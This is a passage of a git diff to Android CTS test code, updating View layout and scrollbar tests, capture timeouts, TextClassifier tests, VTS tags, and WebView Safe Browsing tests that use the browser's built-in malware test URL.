+        float density = view.getContext().getResources().getDisplayMetrics().density;
+        int size1 = (int) (75 * density + 0.5);
+        int size2 = (int) (100 * density + 0.5);
+
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(100, view.getMeasuredWidth());
-        assertEquals(200, view.getMeasuredHeight());
+        assertEquals(size1, view.getMeasuredWidth());
+        assertEquals(size2, view.getMeasuredHeight());
 
         view.reset();
         mActivityRule.runOnUiThread(view::requestLayout);
         mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(100, view.getMeasuredWidth());
-        assertEquals(200, view.getMeasuredHeight());
+        assertEquals(size1, view.getMeasuredWidth());
+        assertEquals(size2, view.getMeasuredHeight());
 
         view.reset();
-        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(size2, size1);
         mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
         mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(200, view.getMeasuredWidth());
-        assertEquals(100, view.getMeasuredHeight());
+        assertEquals(size2, view.getMeasuredWidth());
+        assertEquals(size1, view.getMeasuredHeight());
     }
 
     @Test(expected=NullPointerException.class)
@@ -2414,11 +2423,15 @@
         final View view = mActivity.findViewById(R.id.mock_view);
         Rect rect = new Rect();
 
+        float density = view.getContext().getResources().getDisplayMetrics().density;
+        int size1 = (int) (75 * density + 0.5);
+        int size2 = (int) (100 * density + 0.5);
+
         assertTrue(view.getLocalVisibleRect(rect));
         assertEquals(0, rect.left);
         assertEquals(0, rect.top);
-        assertEquals(100, rect.right);
-        assertEquals(200, rect.bottom);
+        assertEquals(size1, rect.right);
+        assertEquals(size2, rect.bottom);
 
         final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
         mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
@@ -3749,6 +3762,67 @@
     }
 
     @Test
+    public void testScrollbarSize() {
+        final int configScrollbarSize = ViewConfiguration.get(mActivity).getScaledScrollBarSize();
+        final int customScrollbarSize = configScrollbarSize * 2;
+
+        // No explicit scrollbarSize or custom drawables, ViewConfiguration applies.
+        final MockView view = (MockView) mActivity.findViewById(R.id.scroll_view);
+        assertEquals(configScrollbarSize, view.getScrollBarSize());
+        assertEquals(configScrollbarSize, view.getVerticalScrollbarWidth());
+        assertEquals(configScrollbarSize, view.getHorizontalScrollbarHeight());
+
+        // No custom drawables, explicit scrollbarSize takes precedence.
+        final MockView view2 = (MockView) mActivity.findViewById(R.id.scroll_view_2);
+        view2.setScrollBarSize(customScrollbarSize);
+        assertEquals(customScrollbarSize, view2.getScrollBarSize());
+        assertEquals(customScrollbarSize, view2.getVerticalScrollbarWidth());
+        assertEquals(customScrollbarSize, view2.getHorizontalScrollbarHeight());
+
+        // Custom drawables with no intrinsic size, ViewConfiguration applies.
+        final MockView view3 = (MockView) mActivity.findViewById(R.id.scroll_view_3);
+        assertEquals(configScrollbarSize, view3.getVerticalScrollbarWidth());
+        assertEquals(configScrollbarSize, view3.getHorizontalScrollbarHeight());
+        // Explicit scrollbarSize takes precedence.
+        view3.setScrollBarSize(customScrollbarSize);
+        assertEquals(view3.getScrollBarSize(), view3.getVerticalScrollbarWidth());
+        assertEquals(view3.getScrollBarSize(), view3.getHorizontalScrollbarHeight());
+
+        // Custom thumb drawables with intrinsic sizes define the scrollbars' dimensions.
+        final MockView view4 = (MockView) mActivity.findViewById(R.id.scroll_view_4);
+        final Resources res = mActivity.getResources();
+        final int thumbWidth = res.getDimensionPixelSize(R.dimen.scrollbar_thumb_width);
+        final int thumbHeight = res.getDimensionPixelSize(R.dimen.scrollbar_thumb_height);
+        assertEquals(thumbWidth, view4.getVerticalScrollbarWidth());
+        assertEquals(thumbHeight, view4.getHorizontalScrollbarHeight());
+        // Explicit scrollbarSize has no effect.
+        view4.setScrollBarSize(customScrollbarSize);
+        assertEquals(thumbWidth, view4.getVerticalScrollbarWidth());
+        assertEquals(thumbHeight, view4.getHorizontalScrollbarHeight());
+
+        // Custom thumb and track drawables with intrinsic sizes. Track size take precedence.
+        final MockView view5 = (MockView) mActivity.findViewById(R.id.scroll_view_5);
+        final int trackWidth = res.getDimensionPixelSize(R.dimen.scrollbar_track_width);
+        final int trackHeight = res.getDimensionPixelSize(R.dimen.scrollbar_track_height);
+        assertEquals(trackWidth, view5.getVerticalScrollbarWidth());
+        assertEquals(trackHeight, view5.getHorizontalScrollbarHeight());
+        // Explicit scrollbarSize has no effect.
+        view5.setScrollBarSize(customScrollbarSize);
+        assertEquals(trackWidth, view5.getVerticalScrollbarWidth());
+        assertEquals(trackHeight, view5.getHorizontalScrollbarHeight());
+
+        // Custom thumb and track, track with no intrinsic size, ViewConfiguration applies
+        // regardless of the thumb drawable dimensions.
+        final MockView view6 = (MockView) mActivity.findViewById(R.id.scroll_view_6);
+        assertEquals(configScrollbarSize, view6.getVerticalScrollbarWidth());
+        assertEquals(configScrollbarSize, view6.getHorizontalScrollbarHeight());
+        // Explicit scrollbarSize takes precedence.
+        view6.setScrollBarSize(customScrollbarSize);
+        assertEquals(customScrollbarSize, view6.getVerticalScrollbarWidth());
+        assertEquals(customScrollbarSize, view6.getHorizontalScrollbarHeight());
+    }
+
+    @Test
     public void testOnStartAndFinishTemporaryDetach() throws Throwable {
         final AtomicBoolean exitedDispatchStartTemporaryDetach = new AtomicBoolean(false);
         final AtomicBoolean exitedDispatchFinishTemporaryDetach = new AtomicBoolean(false);
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index acfe6ed..21fdd89 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -33,12 +33,10 @@
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.ViewRootImpl;
 import android.widget.Button;
 import android.widget.FrameLayout;
 import android.widget.LinearLayout;
 
-import org.junit.Assume;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -153,7 +151,7 @@
         v2.setVisibility(View.VISIBLE);
         v3.setVisibility(View.VISIBLE);
         v4.setVisibility(View.VISIBLE);
-        assertEquals(ViewRootImpl.sAlwaysAssignFocus, v1.isFocused());
+        assertEquals(true, v1.isFocused());
         assertFalse(v2.isFocused());
         assertFalse(v3.isFocused());
         assertFalse(v4.isFocused());
@@ -344,32 +342,6 @@
         return new View[]{initial, first};
     }
 
-    @Test
-    public void testNoInitialFocus() throws Throwable {
-        Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
-        Activity activity = mActivityRule.getActivity();
-        View[] result = getInitialAndFirstFocus(R.layout.focus_handling_focusables);
-        assertNull(result[0]);
-        assertSame(result[1], activity.findViewById(R.id.focusable1));
-    }
-
-    @Test
-    public void testDefaultFocus() throws Throwable {
-        Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
-        Activity activity = mActivityRule.getActivity();
-        View[] result = getInitialAndFirstFocus(R.layout.focus_handling_default_focus);
-        assertNull(result[0]);
-        assertSame(result[1], activity.findViewById(R.id.focusable2));
-    }
-
-    @Test
-    public void testInitialFocus() throws Throwable {
-        Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
-        Activity activity = mActivityRule.getActivity();
-        View[] result = getInitialAndFirstFocus(R.layout.focus_handling_initial_focus);
-        assertSame(result[0], activity.findViewById(R.id.focusable3));
-    }
-
     @UiThreadTest
     @Test
     public void testFocusAfterDescendantsTransfer() throws Throwable {
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 9b87630..c93cfff 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -57,7 +57,6 @@
     }
 
     private static final String TAG = "CapturedActivity";
-    private static final long TIME_OUT_MS = 25000;
     private static final int PERMISSION_CODE = 1;
     private MediaProjectionManager mProjectionManager;
     private MediaProjection mMediaProjection;
@@ -65,30 +64,32 @@
 
     private SurfacePixelValidator mSurfacePixelValidator;
 
-    public static final long CAPTURE_DURATION_MS = 10000;
     private static final int PERMISSION_DIALOG_WAIT_MS = 1000;
     private static final int RETRY_COUNT = 2;
 
     private static final long START_CAPTURE_DELAY_MS = 4000;
-    private static final long END_CAPTURE_DELAY_MS = START_CAPTURE_DELAY_MS + CAPTURE_DURATION_MS;
-    private static final long END_DELAY_MS = END_CAPTURE_DELAY_MS + 1000;
 
     private static final String ACCEPT_RESOURCE_ID = "android:id/button1";
 
     private MediaPlayer mMediaPlayer;
 
     private final Handler mHandler = new Handler(Looper.getMainLooper());
+    private volatile boolean mOnEmbedded;
     private volatile boolean mOnWatch;
     private CountDownLatch mCountDownLatch;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        mOnWatch = getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+        final PackageManager packageManager = getPackageManager();
+        mOnWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
         if (mOnWatch) {
             // Don't try and set up test/capture infrastructure - they're not supported
             return;
         }
+        // Embedded devices are significantly slower, and are given
+        // longer duration to capture the expected number of frames
+        mOnEmbedded = packageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
 
         getWindow().getDecorView().setSystemUiVisibility(
                 View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN);
@@ -152,6 +153,10 @@
         mCountDownLatch.countDown();
     }
 
+    public long getCaptureDurationMs() {
+        return mOnEmbedded ? 100000 : 50000;
+    }
+
     public TestResult runTest(AnimationTestCase animationTestCase) throws Throwable {
         TestResult testResult = new TestResult();
         if (mOnWatch) {
@@ -167,6 +172,10 @@
             return testResult;
         }
 
+        final long timeOutMs = mOnEmbedded ? 125000 : 62500;
+        final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + getCaptureDurationMs();
+        final long endDelayMs = endCaptureDelayMs + 1000;
+
         int count = 0;
         // Sometimes system decides to rotate the permission activity to another orientation
         // right after showing it. This results in: uiautomation thinks that accept button appears,
@@ -177,7 +186,7 @@
             assertTrue("Can't get the permission", count <= RETRY_COUNT);
             dismissPermissionDialog();
             count++;
-        } while (!mCountDownLatch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } while (!mCountDownLatch.await(timeOutMs, TimeUnit.MILLISECONDS));
 
         mHandler.post(() -> {
             Log.d(TAG, "Setting up test case");
@@ -217,7 +226,7 @@
             Log.d(TAG, "Stopping capture");
             mVirtualDisplay.release();
             mVirtualDisplay = null;
-        }, END_CAPTURE_DELAY_MS);
+        }, endCaptureDelayMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
         mHandler.postDelayed(() -> {
@@ -226,9 +235,9 @@
             mSurfacePixelValidator.finish(testResult);
             latch.countDown();
             mSurfacePixelValidator = null;
-        }, END_DELAY_MS);
+        }, endDelayMs);
 
-        boolean latchResult = latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS);
+        boolean latchResult = latch.await(timeOutMs, TimeUnit.MILLISECONDS);
         if (!latchResult) {
             testResult.passFrames = 0;
             testResult.failFrames = 1000;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index f9c86cc..71ca678 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -17,14 +17,19 @@
 package android.view.textclassifier.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
 
 import android.os.LocaleList;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.view.textclassifier.TextClassification;
 import android.view.textclassifier.TextClassificationManager;
 import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -35,33 +40,82 @@
 public class TextClassificationManagerTest {
 
     private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
+    private static final int START = 1;
+    private static final int END = 3;
+    private static final String TEXT = "text";
 
-    private TextClassificationManager mTcm;
+    private TextClassificationManager mManager;
     private TextClassifier mClassifier;
 
     @Before
     public void setup() {
-        mTcm = InstrumentationRegistry.getTargetContext()
+        mManager = InstrumentationRegistry.getTargetContext()
                 .getSystemService(TextClassificationManager.class);
-        mTcm.setTextClassifier(null); // Resets the classifier.
-        mClassifier = mTcm.getTextClassifier();
+        mManager.setTextClassifier(null); // Resets the classifier.
+        mClassifier = mManager.getTextClassifier();
     }
 
     @Test
-    public void testSmartSelectionDoesNotThrowException() {
-        mClassifier.suggestSelection("text", 2, 3, LOCALES);
+    public void testSmartSelection() {
+        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
     }
 
     @Test
-    public void testClassifyTextDoesNotThrowException() {
-        mClassifier.classifyText("text", 2, 3, LOCALES);
+    public void testClassifyText() {
+        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+    }
+
+    @Test
+    public void testNoOpClassifier() {
+        mManager.setTextClassifier(TextClassifier.NO_OP);
+        mClassifier = mManager.getTextClassifier();
+
+        final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END, LOCALES);
+        assertValidResult(selection);
+        assertEquals(START, selection.getSelectionStartIndex());
+        assertEquals(END, selection.getSelectionEndIndex());
+        assertEquals(0, selection.getEntityCount());
+
+        final TextClassification classification =
+                mClassifier.classifyText(TEXT, START, END, LOCALES);
+        assertValidResult(classification);
+        assertNull(classification.getText());
+        assertEquals(0, classification.getEntityCount());
+        assertNull(classification.getIcon());
+        assertNull(classification.getLabel());
+        assertNull(classification.getIntent());
+        assertNull(classification.getOnClickListener());
     }
 
     @Test
     public void testSetTextClassifier() {
-        TextClassifier classifier = mock(TextClassifier.class);
-        mTcm.setTextClassifier(classifier);
-        assertEquals(classifier, mTcm.getTextClassifier());
+        final TextClassifier classifier = mock(TextClassifier.class);
+        mManager.setTextClassifier(classifier);
+        assertEquals(classifier, mManager.getTextClassifier());
+    }
+
+    private static void assertValidResult(TextSelection selection) {
+        assertNotNull(selection);
+        assertTrue(selection.getEntityCount() >= 0);
+        for (int i = 0; i < selection.getEntityCount(); i++) {
+            final String entity = selection.getEntity(i);
+            assertNotNull(entity);
+            final float confidenceScore = selection.getConfidenceScore(entity);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+    }
+
+    private static void assertValidResult(TextClassification classification) {
+        assertNotNull(classification);
+        assertTrue(classification.getEntityCount() >= 0);
+        for (int i = 0; i < classification.getEntityCount(); i++) {
+            final String entity = classification.getEntity(i);
+            assertNotNull(entity);
+            final float confidenceScore = classification.getConfidenceScore(entity);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
     }
 }
 
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index 67cbf3d..b83f4e9 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceInteractionTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index 625ae50..fd970f7 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Voice Interaction test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVoiceInteractionService.apk" />
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index c274e85..0b504d8 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceInteractionService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/voiceinteraction/testapp/Android.mk b/tests/tests/voiceinteraction/testapp/Android.mk
index 79e0fbd..1c37e51 100644
--- a/tests/tests/voiceinteraction/testapp/Android.mk
+++ b/tests/tests/voiceinteraction/testapp/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index 926547b..cad36cb 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceSettingsTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index be1a4a9..421dfb7 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Voice Settings test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVoiceSettingsService.apk" />
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index ad008a5..d53c52b 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVoiceSettingsService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index 43f1bba..c56f00e 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_PACKAGE_NAME := CtsWebkitTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # uncomment when dalvik.annotation.Test* are removed or part of SDK
 #LOCAL_SDK_VERSION := current
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index d4ab2ef..694593f 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -16,13 +16,16 @@
 
 package android.webkit.cts;
 
+import android.app.ActivityManager;
 import android.graphics.Bitmap;
+import android.os.Build;
 import android.os.Message;
 import android.test.ActivityInstrumentationTestCase2;
 import android.view.KeyEvent;
 import android.view.ViewGroup;
 import android.webkit.HttpAuthHandler;
 import android.webkit.RenderProcessGoneDetail;
+import android.webkit.SafeBrowsingResponse;
 import android.webkit.ValueCallback;
 import android.webkit.WebChromeClient;
 import android.webkit.WebResourceError;
@@ -52,6 +55,9 @@
     private WebViewOnUiThread mOnUiThread;
     private CtsTestServer mWebServer;
 
+    private static final String TEST_SAFE_BROWSING_URL =
+            "chrome://safe-browsing/match?type=malware";
+
     public WebViewClientTest() {
         super("android.webkit.cts", WebViewCtsActivity.class);
     }
@@ -586,6 +592,12 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
+        if (Build.SUPPORTED_64_BIT_ABIS.length == 0 &&
+            getActivity().getSystemService(ActivityManager.class).isLowRamDevice()) {
+            // Renderer process crashes can only be handled when multiprocess is enabled,
+            // which is not the case for 32-bit lowram devices.
+            return;
+        }
         final MockWebViewClient webViewClient = new MockWebViewClient();
         mOnUiThread.setWebViewClient(webViewClient);
         mOnUiThread.loadUrl("chrome://kill");
@@ -598,6 +610,53 @@
         assertFalse(webViewClient.didRenderProcessCrash());
     }
 
+    public void testOnSafeBrowsingHit() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        final SafeBrowsingBackToSafetyClient backToSafetyWebViewClient =
+                new SafeBrowsingBackToSafetyClient();
+        mOnUiThread.setWebViewClient(backToSafetyWebViewClient);
+        mOnUiThread.getSettings().setSafeBrowsingEnabled(true);
+
+        mWebServer = new CtsTestServer(getActivity());
+        String url = mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        final String ORIGINAL_URL = mOnUiThread.getUrl();
+
+        if (mOnUiThread.getSettings().getSafeBrowsingEnabled()) {
+            assertEquals(0, backToSafetyWebViewClient.hasOnReceivedErrorCode());
+            mOnUiThread.loadUrlAndWaitForCompletion(TEST_SAFE_BROWSING_URL);
+
+            assertEquals(TEST_SAFE_BROWSING_URL,
+                    backToSafetyWebViewClient.getOnSafeBrowsingHitRequest().getUrl().toString());
+            assertTrue(backToSafetyWebViewClient.getOnSafeBrowsingHitRequest().isForMainFrame());
+
+            // Back to safety should produce a network error
+            assertEquals(WebViewClient.ERROR_UNSAFE_RESOURCE,
+                    backToSafetyWebViewClient.hasOnReceivedErrorCode());
+
+            // Check that we actually navigated backward
+            assertEquals(ORIGINAL_URL, mOnUiThread.getUrl());
+        }
+
+        final SafeBrowsingProceedClient proceedWebViewClient = new SafeBrowsingProceedClient();
+        mOnUiThread.setWebViewClient(proceedWebViewClient);
+
+        mOnUiThread.getSettings().setSafeBrowsingEnabled(true);
+        if (mOnUiThread.getSettings().getSafeBrowsingEnabled()) {
+            assertEquals(0, proceedWebViewClient.hasOnReceivedErrorCode());
+            mOnUiThread.loadUrlAndWaitForCompletion(TEST_SAFE_BROWSING_URL);
+
+            assertEquals(TEST_SAFE_BROWSING_URL,
+                    proceedWebViewClient.getOnSafeBrowsingHitRequest().getUrl().toString());
+            assertTrue(proceedWebViewClient.getOnSafeBrowsingHitRequest().isForMainFrame());
+
+            // Check that we actually proceeded
+            assertEquals(TEST_SAFE_BROWSING_URL, mOnUiThread.getUrl());
+        }
+    }
+
     private void requireLoadedPage() throws Throwable {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -721,7 +780,9 @@
         public void onPageFinished(WebView view, String url) {
             super.onPageFinished(view, url);
             assertTrue(mOnPageStartedCalled);
-            assertTrue(mOnLoadResourceCalled);
+            assertTrue(
+                    "Expected onLoadResource or onReceivedError to be called before onPageFinished",
+                    mOnLoadResourceCalled || mOnReceivedResourceError != null);
             mOnPageFinishedCalled = true;
         }
 
@@ -816,4 +877,48 @@
             return true;
         }
     }
+
+    private class SafeBrowsingBackToSafetyClient extends MockWebViewClient {
+        private WebResourceRequest mOnSafeBrowsingHitRequest;
+        private int mOnSafeBrowsingHitThreatType;
+
+        public WebResourceRequest getOnSafeBrowsingHitRequest() {
+            return mOnSafeBrowsingHitRequest;
+        }
+
+        public int getOnSafeBrowsingHitThreatType() {
+            return mOnSafeBrowsingHitThreatType;
+        }
+
+        @Override
+        public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
+                int threatType, SafeBrowsingResponse response) {
+            // Immediately go back to safety to return the network error code
+            mOnSafeBrowsingHitRequest = request;
+            mOnSafeBrowsingHitThreatType = threatType;
+            response.backToSafety(/* report */ true);
+        }
+    }
+
+    private class SafeBrowsingProceedClient extends MockWebViewClient {
+        private WebResourceRequest mOnSafeBrowsingHitRequest;
+        private int mOnSafeBrowsingHitThreatType;
+
+        public WebResourceRequest getOnSafeBrowsingHitRequest() {
+            return mOnSafeBrowsingHitRequest;
+        }
+
+        public int getOnSafeBrowsingHitThreatType() {
+            return mOnSafeBrowsingHitThreatType;
+        }
+
+        @Override
+        public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
+                int threatType, SafeBrowsingResponse response) {
+            // Proceed through Safe Browsing warnings
+            mOnSafeBrowsingHitRequest = request;
+            mOnSafeBrowsingHitThreatType = threatType;
+            response.proceed(/* report */ true);
+        }
+    }
 }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 7c7348f..5506454 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -18,6 +18,7 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
+import android.content.ContextWrapper;
 import android.content.res.AssetManager;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -30,6 +31,7 @@
 import android.os.Bundle;
 import android.os.CancellationSignal;
 import android.os.Handler;
+import android.os.LocaleList;
 import android.os.Looper;
 import android.os.Message;
 import android.os.ParcelFileDescriptor;
@@ -50,14 +52,19 @@
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewGroup;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
 import android.webkit.ConsoleMessage;
 import android.webkit.CookieSyncManager;
 import android.webkit.DownloadListener;
 import android.webkit.JavascriptInterface;
+import android.webkit.SafeBrowsingResponse;
 import android.webkit.ValueCallback;
 import android.webkit.WebBackForwardList;
 import android.webkit.WebChromeClient;
 import android.webkit.WebIconDatabase;
+import android.webkit.WebResourceRequest;
 import android.webkit.WebSettings;
 import android.webkit.WebView;
 import android.webkit.WebView.HitTestResult;
@@ -81,6 +88,9 @@
 import java.io.FileNotFoundException;
 import java.io.IOException;
 
+import java.net.MalformedURLException;
+import java.net.URL;
+
 import java.nio.charset.Charset;
 import java.nio.charset.StandardCharsets;
 
@@ -93,7 +103,9 @@
 import java.util.concurrent.FutureTask;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.List;
 import java.util.Map;
 
 import org.apache.http.Header;
@@ -2639,6 +2651,62 @@
         assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+    public void testSetSafeBrowsingWhitelistWithMalformedList() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        List whitelist = new ArrayList<String>();
+        // Protocols are not supported in the whitelist
+        whitelist.add("http://google.com");
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
+            @Override
+            public void onReceiveValue(Boolean success) {
+                assertFalse(success);
+                resultLatch.countDown();
+            }
+        });
+        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+    }
+
+    public void testSetSafeBrowsingWhitelistWithValidList() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        List whitelist = new ArrayList<String>();
+        whitelist.add("safe-browsing");
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
+            @Override
+            public void onReceiveValue(Boolean success) {
+                assertTrue(success);
+                resultLatch.countDown();
+            }
+        });
+        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+        final CountDownLatch resultLatch2 = new CountDownLatch(1);
+        mOnUiThread.setWebViewClient(new WebViewClient() {
+            @Override
+            public void onPageFinished(WebView view, String url) {
+                resultLatch2.countDown();
+            }
+
+            @Override
+            public void onSafeBrowsingHit(WebView view, WebResourceRequest request, int threatType,
+                    SafeBrowsingResponse callback) {
+                Assert.fail("Should not invoke onSafeBrowsingHit");
+            }
+        });
+
+        mOnUiThread.loadUrl("chrome://safe-browsing/match?type=malware");
+
+        // Wait until page load has completed
+        assertTrue(resultLatch2.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+    }
+
     @UiThreadTest
     public void testGetWebViewClient() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -2676,6 +2744,99 @@
         assertSame(client2, webView.getWebChromeClient());
     }
 
+    @UiThreadTest
+    public void testSetCustomTextClassifier() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        class CustomTextClassifier implements TextClassifier {
+            @Override
+            public TextSelection suggestSelection(
